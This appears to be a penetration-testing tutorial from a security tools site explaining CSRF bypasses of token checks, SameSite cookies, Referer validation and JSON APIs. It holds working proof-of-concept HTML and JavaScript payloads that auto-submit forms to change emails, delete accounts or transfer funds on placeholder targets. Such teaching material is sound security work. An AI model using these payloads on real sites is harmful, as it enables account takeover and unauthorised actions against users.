CSRF Bypass Techniques: Defeating SameSite, Token Validation, and Referer Checks
Cross-Site Request Forgery (CSRF) tricks authenticated users into unknowingly submitting malicious requests. While modern defenses like SameSite cookies and CSRF tokens have reduced the attack surface, numerous bypass techniques remain viable. This guide covers the full exploitation methodology for bug bounty hunters and penetration testers.
CSRF Fundamentals
| Defense | Bypass Technique | Prerequisite | Difficulty |
|---|---|---|---|
| CSRF token in form | Leak via Referer header | HTTP referrer policy weak | Medium |
| SameSite=Lax | Use GET request for state change | State-changing GET exists | Easy |
| SameSite=Strict | XSS on same origin | XSS vulnerability present | Hard |
| Referer validation | Subdomain bypass (sub.victim.com) | Subdomain control | Medium |
| Origin header check | CORS misconfiguration | Origin wildcard/reflect | Medium |
| Double submit cookie | Cookie injection (CRLF) | CRLF vuln present | Hard |
CSRF exploits the browser's automatic inclusion of cookies with cross-origin requests. The classic attack flow:
- Victim is authenticated to
bank.comwith a session cookie - Victim visits attacker's page at
evil.com - Evil page silently submits a form to
bank.com/transfer - Browser includes the session cookie automatically
- Bank processes the request as legitimate
Basic PoC HTML Form
<html>
<body onload="document.getElementById('csrf').submit()">
<form id="csrf" action="https://target.com/api/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]">
</form>
</body>
</html>
Bypassing CSRF Token Validation
Removing the Token Entirely
The most common CSRF bypass — many applications only validate the token if it's present. Simply remove the token parameter:
# Original request
POST /change-email
csrf_token=abc123&[email protected]
# Modified request (remove token)
POST /change-email
[email protected]
Using a Different User's Token
If validation checks token existence but not ownership, use your own account's valid token:
POST /change-email
csrf_token=YOUR_OWN_VALID_TOKEN&[email protected]
CSRF Token in URL Parameter
Some frameworks accept tokens via URL. If the token appears in a URL, it may leak via the Referer header to third-party analytics or CDN logs.
Weak Token Predictability
Test whether tokens are time-based, sequential, or derived from the session ID using our Encoding Pipeline to decode and analyze token structure.
SameSite Cookie Bypass Techniques
SameSite is the primary modern CSRF defense. Understanding the nuances of each value is essential:
SameSite=Lax Bypass via GET Requests
Lax cookies are sent on top-level navigation GET requests. If a state-changing endpoint accepts GET requests, exploit it via navigation:
<!-- Works because GET triggers top-level navigation -->
<img src="https://target.com/api/delete-account?confirm=1">
<!-- Or via meta refresh (top-level navigation) -->
<meta http-equiv="refresh" content="0; url=https://target.com/api/action?param=evil">
SameSite=Lax Bypass via Method Override
Some frameworks honor _method overrides. Send a GET request that the server treats as POST:
GET /api/transfer?_method=POST&amount=1000&to=attacker HTTP/1.1
SameSite=None Without Secure Flag
SameSite=None requires the Secure flag. If set without it, modern browsers reject the cookie entirely, but legacy browsers may process it.
Chrome's 2-Minute Lax Exception
Newly set cookies without an explicit SameSite attribute default to Lax, but Chrome applies a 2-minute window where they're sent on cross-site POST requests (for OAuth compatibility). If you can trigger CSRF within 2 minutes of a new session being created, this window may be exploitable.
Referer Header Bypass
Applications that validate the Referer header instead of using tokens have multiple weaknesses:
Suppressing the Referer Header
<!-- Add meta referrer tag to suppress Referer -->
<meta name="referrer" content="no-referrer">
<form action="https://target.com/transfer" method="POST">
...
</form>
Referer Contains Target Domain
Some validation only checks if the target domain appears anywhere in the Referer value:
# Host your PoC at a subdomain that contains the target domain name
https://target.com.evil.com/csrf-poc.html
# Or use a path
https://evil.com/target.com/csrf-poc.html
JSON CSRF
APIs that accept JSON are often assumed to be CSRF-safe because the default form encoding can't produce JSON. This assumption is wrong:
Content-Type Spoofing
<!-- If the server accepts text/plain with JSON body -->
<form action="https://api.target.com/transfer" method="POST" enctype="text/plain">
<input name='{"amount":1000,"to":"attacker","ignore":"' value='"}'>
</form>
This sends: {"amount":1000,"to":"attacker","ignore":"="}} — if the server accepts malformed JSON or ignores the trailing junk, this works.
CORS-Based JSON CSRF
If the API has a CORS misconfiguration that allows credentials from arbitrary origins, a standard fetch-based CSRF works:
<script>
fetch('https://api.target.com/transfer', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({amount: 1000, to: 'attacker'})
});
</script>
Multi-Step CSRF
Applications with multi-step sensitive actions (e.g., "Are you sure?" confirmation pages) are still vulnerable if each step uses predictable or missing tokens:
<html>
<body>
<!-- Step 1: Initiate -->
<form id="step1" action="https://target.com/delete/initiate" method="POST">
<input type="hidden" name="resource_id" value="123">
</form>
<!-- Step 2: Confirm (loaded via iframe after step 1) -->
<script>
document.getElementById('step1').submit();
setTimeout(() => {
// Step 2 confirmation
let f = document.createElement('form');
f.action = 'https://target.com/delete/confirm';
f.method = 'POST';
document.body.appendChild(f);
f.submit();
}, 500);
</script>
</body>
</html>
ClickJacking-Assisted CSRF
When a CSRF token is present but the application is vulnerable to clickjacking, you can overlay the legitimate form and trick the user into clicking the submit button. See our full Clickjacking Guide for PoC templates.
Testing Methodology
- Identify state-changing requests (account settings, fund transfers, admin actions)
- Check for CSRF tokens — test by removing, substituting your own, and checking token scope
- Inspect Set-Cookie headers for SameSite attribute values
- Test GET-based state changes even if POST is expected
- Check Referer validation with suppression and domain-in-path tricks
- Test JSON endpoints with text/plain encoding and CORS misconfigurations
For CORS misconfiguration exploitation, see our CORS Exploitation Guide. If OAuth is in scope, CSRF on the authorization endpoint can lead to account takeover — covered in our OAuth Vulnerabilities Guide.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides